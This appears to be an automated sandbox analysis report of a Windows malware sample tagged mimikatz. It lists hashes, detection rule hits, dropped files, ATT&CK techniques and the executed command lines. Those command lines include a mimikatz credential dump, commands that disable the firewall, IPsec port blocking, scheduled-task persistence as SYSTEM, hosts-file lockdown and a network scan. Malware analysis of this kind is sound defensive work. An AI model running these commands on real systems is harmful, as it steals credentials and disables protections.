mimikatz | f2d133b27540b3b284284dfef2c7d53499407a892f4f381a253f9e2107e93b4a

Analysis

max time kernel
29s
max time network
52s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2024, 16:56

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General

Target
2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe
Size 8.5MB
Sample240406-vfsc9sfb27
SHA256 f2d133b27540b3b284284dfef2c7d53499407a892f4f381a253f9e2107e93b4a
MD5 e169abe90706c7f16b7fc3999095ea51
SHA1 b9d95401f80859effe5c57a83d953f2711eb108a
SHA512 281be6f4de9a2629e3857dac5a139cf66ca05c58a1fc90d36c6e34c2225986d188b71ab366b831b4c0507fab25a81955d3eedb16426ca6088f511593a48450ee
SSDEEP 196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

mimikatz discovery evasion upx

Malware Config

Signatures

Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/memory/4640-136-0x00007FF723B30000-0x00007FF723C1E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

UPX dump on OEP (original entry point) 8 IoCs

resource	yara_rule
behavioral2/memory/1624-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	UPX
behavioral2/files/0x0007000000023203-5.dat	UPX
behavioral2/files/0x000700000002324a-134.dat	UPX
behavioral2/memory/4640-135-0x00007FF723B30000-0x00007FF723C1E000-memory.dmp	UPX
behavioral2/memory/4640-136-0x00007FF723B30000-0x00007FF723C1E000-memory.dmp	UPX
behavioral2/memory/5008-140-0x00007FF6C1B60000-0x00007FF6C1BBB000-memory.dmp	UPX
behavioral2/files/0x0007000000023255-139.dat	UPX
behavioral2/memory/5008-143-0x00007FF6C1B60000-0x00007FF6C1BBB000-memory.dmp	UPX

mimikatz is an open source tool to dump credentials on Windows 3 IoCs

resource	yara_rule
behavioral2/memory/1624-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0007000000023203-5.dat	mimikatz
behavioral2/memory/4640-136-0x00007FF723B30000-0x00007FF723C1E000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	mghfsiy.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4352	netsh.exe

Executes dropped EXE 5 IoCs

pid	Process
4792	mghfsiy.exe
4436	mghfsiy.exe
1724	wpcap.exe
4872	myfdjeyae.exe
4640	vfshost.exe

Loads dropped DLL 12 IoCs

pid	Process
1724	wpcap.exe
1724	wpcap.exe
1724	wpcap.exe
1724	wpcap.exe
1724	wpcap.exe
1724	wpcap.exe
1724	wpcap.exe
1724	wpcap.exe
1724	wpcap.exe
4872	myfdjeyae.exe
4872	myfdjeyae.exe
4872	myfdjeyae.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000002324a-134.dat	upx
behavioral2/memory/4640-135-0x00007FF723B30000-0x00007FF723C1E000-memory.dmp	upx
behavioral2/memory/4640-136-0x00007FF723B30000-0x00007FF723C1E000-memory.dmp	upx
behavioral2/memory/5008-140-0x00007FF6C1B60000-0x00007FF6C1BBB000-memory.dmp	upx
behavioral2/files/0x0007000000023255-139.dat	upx
behavioral2/memory/5008-143-0x00007FF6C1B60000-0x00007FF6C1BBB000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 57 IoCs

description	ioc	Process
File created	C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\tucl-1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\vimpcsvc.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\AppCapture64.dll	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\mghfsiy.exe	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\cnli-1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\exma-1.dll	mghfsiy.exe
File created	C:\Windows\atiufaue\vimpcsvc.xml	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\spoolsrv.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\AppCapture32.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\ljlebekct\wpcap.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\libxml2.dll	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\docmicfg.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\ljlebekct\rykaeepeu.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\vimpcsvc.xml	mghfsiy.exe
File created	C:\Windows\atiufaue\svschost.xml	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\svschost.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\zlib1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\Corporate\vfshost.exe	mghfsiy.exe
File opened for modification	C:\Windows\kfesmkaky\ljlebekct\Packet.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\coli-0.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\docmicfg.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\posh-0.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\ucl.dll	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\schoedcl.xml	mghfsiy.exe
File created	C:\Windows\ime\mghfsiy.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\spoolsrv.xml	mghfsiy.exe
File opened for modification	C:\Windows\kfesmkaky\Corporate\log.txt	cmd.exe
File created	C:\Windows\atiufaue\mghfsiy.exe	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe
File created	C:\Windows\kfesmkaky\ljlebekct\wpcap.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\schoedcl.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\svschost.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\Shellcode.ini	mghfsiy.exe
File created	C:\Windows\kfesmkaky\Corporate\mimidrv.sys	mghfsiy.exe
File created	C:\Windows\kfesmkaky\upbdrjv\swrpwe.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\trfo-2.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\xdvl-0.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\svschost.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\schoedcl.xml	mghfsiy.exe
File created	C:\Windows\atiufaue\spoolsrv.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\crli-0.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\tibe-2.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\vimpcsvc.exe	mghfsiy.exe
File created	C:\Windows\atiufaue\schoedcl.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\Corporate\mimilib.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\ljlebekct\Packet.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\svschost.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\spoolsrv.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\schoedcl.xml	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\vimpcsvc.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\libeay32.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\trch-1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\spoolsrv.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\ssleay32.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\docmicfg.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\docmicfg.xml	mghfsiy.exe
File created	C:\Windows\atiufaue\docmicfg.xml	mghfsiy.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023203-5.dat	nsis_installer_2
behavioral2/files/0x001100000002320e-14.dat	nsis_installer_1
behavioral2/files/0x001100000002320e-14.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5100	schtasks.exe
4988	schtasks.exe
1864	schtasks.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mghfsiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mghfsiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mghfsiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mghfsiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mghfsiy.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
844	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1624	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	4792	mghfsiy.exe
Token: SeDebugPrivilege	4436	mghfsiy.exe
Token: SeDebugPrivilege	4640	vfshost.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1624	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe
1624	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe
4792	mghfsiy.exe
4792	mghfsiy.exe
4436	mghfsiy.exe
4436	mghfsiy.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 688	1624	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe	86
PID 1624 wrote to memory of 688	1624	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe	86
PID 1624 wrote to memory of 688	1624	2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe	86
PID 688 wrote to memory of 844	688	cmd.exe	89
PID 688 wrote to memory of 844	688	cmd.exe	89
PID 688 wrote to memory of 844	688	cmd.exe	89
PID 688 wrote to memory of 4792	688	cmd.exe	95
PID 688 wrote to memory of 4792	688	cmd.exe	95
PID 688 wrote to memory of 4792	688	cmd.exe	95
PID 4436 wrote to memory of 3816	4436	mghfsiy.exe	97
PID 4436 wrote to memory of 3816	4436	mghfsiy.exe	97
PID 4436 wrote to memory of 3816	4436	mghfsiy.exe	97
PID 4436 wrote to memory of 4728	4436	mghfsiy.exe	98
PID 4436 wrote to memory of 4728	4436	mghfsiy.exe	98
PID 4436 wrote to memory of 4728	4436	mghfsiy.exe	98
PID 3816 wrote to memory of 644	3816	cmd.exe	101
PID 3816 wrote to memory of 644	3816	cmd.exe	101
PID 3816 wrote to memory of 644	3816	cmd.exe	101
PID 3816 wrote to memory of 4184	3816	cmd.exe	102
PID 3816 wrote to memory of 4184	3816	cmd.exe	102
PID 3816 wrote to memory of 4184	3816	cmd.exe	102
PID 3816 wrote to memory of 2592	3816	cmd.exe	103
PID 3816 wrote to memory of 2592	3816	cmd.exe	103
PID 3816 wrote to memory of 2592	3816	cmd.exe	103
PID 3816 wrote to memory of 4908	3816	cmd.exe	104
PID 3816 wrote to memory of 4908	3816	cmd.exe	104
PID 3816 wrote to memory of 4908	3816	cmd.exe	104
PID 3816 wrote to memory of 516	3816	cmd.exe	105
PID 3816 wrote to memory of 516	3816	cmd.exe	105
PID 3816 wrote to memory of 516	3816	cmd.exe	105
PID 3816 wrote to memory of 1476	3816	cmd.exe	106
PID 3816 wrote to memory of 1476	3816	cmd.exe	106
PID 3816 wrote to memory of 1476	3816	cmd.exe	106
PID 4436 wrote to memory of 4424	4436	mghfsiy.exe	107
PID 4436 wrote to memory of 4424	4436	mghfsiy.exe	107
PID 4436 wrote to memory of 4424	4436	mghfsiy.exe	107
PID 4436 wrote to memory of 2388	4436	mghfsiy.exe	110
PID 4436 wrote to memory of 2388	4436	mghfsiy.exe	110
PID 4436 wrote to memory of 2388	4436	mghfsiy.exe	110
PID 4436 wrote to memory of 4600	4436	mghfsiy.exe	114
PID 4436 wrote to memory of 4600	4436	mghfsiy.exe	114
PID 4436 wrote to memory of 4600	4436	mghfsiy.exe	114
PID 4600 wrote to memory of 1724	4600	cmd.exe	116
PID 4600 wrote to memory of 1724	4600	cmd.exe	116
PID 4600 wrote to memory of 1724	4600	cmd.exe	116
PID 1724 wrote to memory of 3460	1724	wpcap.exe	117
PID 1724 wrote to memory of 3460	1724	wpcap.exe	117
PID 1724 wrote to memory of 3460	1724	wpcap.exe	117
PID 3460 wrote to memory of 2760	3460	net.exe	119
PID 3460 wrote to memory of 2760	3460	net.exe	119
PID 3460 wrote to memory of 2760	3460	net.exe	119
PID 1724 wrote to memory of 4848	1724	wpcap.exe	120
PID 1724 wrote to memory of 4848	1724	wpcap.exe	120
PID 1724 wrote to memory of 4848	1724	wpcap.exe	120
PID 4848 wrote to memory of 4744	4848	net.exe	122
PID 4848 wrote to memory of 4744	4848	net.exe	122
PID 4848 wrote to memory of 4744	4848	net.exe	122
PID 1724 wrote to memory of 4580	1724	wpcap.exe	123
PID 1724 wrote to memory of 4580	1724	wpcap.exe	123
PID 1724 wrote to memory of 4580	1724	wpcap.exe	123
PID 4580 wrote to memory of 1764	4580	net.exe	125
PID 4580 wrote to memory of 1764	4580	net.exe	125
PID 4580 wrote to memory of 1764	4580	net.exe	125
PID 1724 wrote to memory of 4752	1724	wpcap.exe	126

C:\Users\Admin\AppData\Local\Temp\2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-04-06_e169abe90706c7f16b7fc3999095ea51_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\atiufaue\mghfsiy.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:844
- - C:\Windows\atiufaue\mghfsiy.exe
    C:\Windows\atiufaue\mghfsiy.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4792

C:\Windows\atiufaue\mghfsiy.exe
C:\Windows\atiufaue\mghfsiy.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:644
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:4184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2592
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:4908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:516
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:1476
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  PID:4728
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  PID:4424
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  PID:2388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kfesmkaky\ljlebekct\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\kfesmkaky\ljlebekct\wpcap.exe
    C:\Windows\kfesmkaky\ljlebekct\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:1724
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3460
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:2760
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4848
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:4744
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4580
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:1764
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:4752
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:4700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:4860
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:4576
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:4960
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3876
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:4184
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:3624
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kfesmkaky\ljlebekct\Scant.txt
  2⤵
  PID:920
- - C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe
    C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kfesmkaky\ljlebekct\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kfesmkaky\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\kfesmkaky\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:1636
- - C:\Windows\kfesmkaky\Corporate\vfshost.exe
    C:\Windows\kfesmkaky\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4640
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ltiulrmai" /ru system /tr "cmd /c C:\Windows\ime\mghfsiy.exe"
  2⤵
  PID:3592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ltiulrmai" /ru system /tr "cmd /c C:\Windows\ime\mghfsiy.exe"
    3⤵
    - Creates scheduled task(s)
    PID:5100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fatclsyjp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F"
  2⤵
  PID:1660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "fatclsyjp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F"
    3⤵
    - Creates scheduled task(s)
    PID:4988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "dujatepye" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F"
  2⤵
  PID:5056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "dujatepye" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F"
    3⤵
    - Creates scheduled task(s)
    PID:1864
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  PID:816
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  PID:4540
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:4848
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:4696
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  PID:1308
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  PID:1952
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:1096
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:1424
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  PID:3304
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  PID:4184
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:4508
- C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe
  C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 792 C:\Windows\TEMP\kfesmkaky\792.dmp
  2⤵
  PID:5008
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:1888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:4820
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:4192
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      PID:2828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:400
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    PID:4352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Packet.dll

Path C:\Windows\SysWOW64\Packet.dll
Size 95KB
SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
MD5 86316be34481c1ed5b792169312673fd
SHA1 6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA512 3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
